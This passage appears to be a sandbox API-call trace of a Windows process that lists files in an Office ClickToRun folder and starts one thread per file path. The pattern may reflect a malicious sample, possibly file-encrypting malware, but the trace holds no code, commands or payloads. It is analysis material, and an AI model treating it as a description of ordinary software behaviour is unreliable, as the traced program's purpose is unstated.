Flags=0x8, Size=0xf4) returned 0x34236d0 [0072.664] wcscpy (in: _Dest=0x34236d0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.665] wcscat (in: _Dest=0x34236d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.665] wcscat (in: _Dest=0x34236d0, _Source="C2RManifest.Proof.Culture.msi.16.es-es.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml" [0072.665] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34236d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ac [0072.665] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed067a9a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed067a9a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3999a72, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5fee, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Proof.Culture.msi.16.fr-fr.xml", cAlternateFileName="C2BAB3~1.XML")) returned 1 [0072.665] wcscmp (_String1="C2RManifest.Proof.Culture.msi.16.fr-fr.xml", _String2=".") returned 1 [0072.665] wcscmp (_String1="C2RManifest.Proof.Culture.msi.16.fr-fr.xml", _String2="..") returned 1 [0072.665] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf4) returned 0x34237d0 [0072.665] wcscpy (in: _Dest=0x34237d0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.666] wcscat (in: _Dest=0x34237d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.666] wcscat (in: _Dest=0x34237d0, _Source="C2RManifest.Proof.Culture.msi.16.fr-fr.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" [0072.666] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34237d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x76c [0072.666] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed041918, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed041918, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd37f6035, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.proofing.msi.16.en-us.xml", cAlternateFileName="C24618~1.XML")) returned 1 [0072.666] wcscmp (_String1="C2RManifest.proofing.msi.16.en-us.xml", _String2=".") returned 1 [0072.666] wcscmp (_String1="C2RManifest.proofing.msi.16.en-us.xml", _String2="..") returned 1 [0072.666] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xea) returned 0x33e5cc8 [0072.666] wcscpy (in: _Dest=0x33e5cc8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.666] wcscat (in: _Dest=0x33e5cc8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.666] wcscat (in: _Dest=0x33e5cc8, _Source="C2RManifest.proofing.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml" [0072.667] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e5cc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a4 [0072.667] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed041918, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed041918, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2b97d2d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", cAlternateFileName="C2C6D1~1.XML")) returned 1 [0072.667] wcscmp (_String1="C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", _String2=".") returned 1 [0072.667] wcscmp (_String1="C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", _String2="..") returned 1 [0072.667] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x110) returned 0x3422290 [0072.667] wcscpy (in: _Dest=0x3422290, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.667] wcscat (in: _Dest=0x3422290, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.667] wcscat (in: _Dest=0x3422290, _Source="C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" [0072.667] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3422290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x770 [0072.668] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed041918, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed041918, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd37374c5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.publishermui.msi.16.en-us.xml", cAlternateFileName="C2RMAN~4.XML")) returned 1 [0072.668] wcscmp (_String1="C2RManifest.publishermui.msi.16.en-us.xml", _String2=".") returned 1 [0072.668] wcscmp (_String1="C2RManifest.publishermui.msi.16.en-us.xml", _String2="..") returned 1 [0072.668] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf2) returned 0x34223a8 [0072.668] wcscpy (in: _Dest=0x34223a8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.668] wcscat (in: _Dest=0x34223a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.668] wcscat (in: _Dest=0x34223a8, _Source="C2RManifest.publishermui.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml" [0072.668] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34223a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a0 [0072.669] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed01b5ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed01b5ef, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd29ce0e8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb27ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.shared.Office.x-none.msi.16.x-none.xml", cAlternateFileName="C2RMAN~3.XML")) returned 1 [0072.669] wcscmp (_String1="C2RManifest.shared.Office.x-none.msi.16.x-none.xml", _String2=".") returned 1 [0072.669] wcscmp (_String1="C2RManifest.shared.Office.x-none.msi.16.x-none.xml", _String2="..") returned 1 [0072.669] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x104) returned 0x34224a8 [0072.669] wcscpy (in: _Dest=0x34224a8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.669] wcscat (in: _Dest=0x34224a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.669] wcscat (in: _Dest=0x34224a8, _Source="C2RManifest.shared.Office.x-none.msi.16.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" [0072.669] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34224a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x69c [0072.670] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a705a3, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a705a3, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x11cbd0e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x2aafe, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", cAlternateFileName="C2668D~1.XML")) returned 1 [0072.670] wcscmp (_String1="C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", _String2=".") returned 1 [0072.670] wcscmp (_String1="C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", _String2="..") returned 1 [0072.670] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x100) returned 0x34225b8 [0072.670] wcscpy (in: _Dest=0x34225b8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.670] wcscat (in: _Dest=0x34225b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.670] wcscat (in: _Dest=0x34225b8, _Source="C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" [0072.670] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34225b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x694 [0072.671] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a4a3b4, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a4a3b4, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1218203, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xf0cb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.visiomui.msi.16.en-us.xml", cAlternateFileName="C2A712~1.XML")) returned 1 [0072.671] wcscmp (_String1="C2RManifest.visiomui.msi.16.en-us.xml", _String2=".") returned 1 [0072.671] wcscmp (_String1="C2RManifest.visiomui.msi.16.en-us.xml", _String2="..") returned 1 [0072.671] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xea) returned 0x33e4f38 [0072.671] wcscpy (in: _Dest=0x33e4f38, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.671] wcscat (in: _Dest=0x33e4f38, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.671] wcscat (in: _Dest=0x33e4f38, _Source="C2RManifest.visiomui.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml" [0072.671] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e4f38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x690 [0072.672] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf5ca1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xecf5ca1c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2dd401b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1536e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Word.Word.x-none.msi.16.x-none.xml", cAlternateFileName="C2RMAN~2.XML")) returned 1 [0072.672] wcscmp (_String1="C2RManifest.Word.Word.x-none.msi.16.x-none.xml", _String2=".") returned 1 [0072.672] wcscmp (_String1="C2RManifest.Word.Word.x-none.msi.16.x-none.xml", _String2="..") returned 1 [0072.672] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xfc) returned 0x34226c0 [0072.672] wcscpy (in: _Dest=0x34226c0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.672] wcscat (in: _Dest=0x34226c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.672] wcscat (in: _Dest=0x34226c0, _Source="C2RManifest.Word.Word.x-none.msi.16.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" [0072.672] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34226c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x65c [0072.673] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xecf3682d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3a7e818, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x130fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.wordmui.msi.16.en-us.xml", cAlternateFileName="C2RMAN~1.XML")) returned 1 [0072.673] wcscmp (_String1="C2RManifest.wordmui.msi.16.en-us.xml", _String2=".") returned 1 [0072.673] wcscmp (_String1="C2RManifest.wordmui.msi.16.en-us.xml", _String2="..") returned 1 [0072.673] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe8) returned 0x34227c8 [0072.673] wcscpy (in: _Dest=0x34227c8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.673] wcscat (in: _Dest=0x34227c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.673] wcscat (in: _Dest=0x34227c8, _Source="C2RManifest.wordmui.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml" [0072.673] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34227c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x630 [0072.674] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x49bee514, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xd2dfa2a2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12c470, dwReserved0=0x0, dwReserved1=0x0, cFileName="integrator.exe", cAlternateFileName="INTEGR~1.EXE")) returned 1 [0072.674] wcscmp (_String1="integrator.exe", _String2=".") returned 1 [0072.674] wcscmp (_String1="integrator.exe", _String2="..") returned 1 [0072.674] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbc) returned 0x3431d80 [0072.674] wcscpy (in: _Dest=0x3431d80, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.674] wcscat (in: _Dest=0x3431d80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.674] wcscat (in: _Dest=0x3431d80, _Source="integrator.exe" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe" [0072.674] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3431d80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x530 [0072.675] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f3481a2, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x3f3481a2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xf427d4ce, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml", cAlternateFileName="MICROS~2.XML")) returned 1 [0072.675] wcscmp (_String1="Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml", _String2=".") returned 1 [0072.675] wcscmp (_String1="Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml", _String2="..") returned 1 [0072.675] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10a) returned 0x34228b8 [0072.675] wcscpy (in: _Dest=0x34228b8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.675] wcscat (in: _Dest=0x34228b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.675] wcscat (in: _Dest=0x34228b8, _Source="Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml" [0072.675] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34228b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x62c [0072.676] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f0e5bdc, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x3f0e5bdc, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xf40d9aa3, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0xca6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml", cAlternateFileName="MICROS~1.XML")) returned 1 [0072.676] wcscmp (_String1="Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml", _String2=".") returned 1 [0072.676] wcscmp (_String1="Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml", _String2="..") returned 1 [0072.676] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x104) returned 0x347d0f8 [0072.676] wcscpy (in: _Dest=0x347d0f8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.676] wcscat (in: _Dest=0x347d0f8, _Source="\\" | out: _Dest="C:\\Users\\All 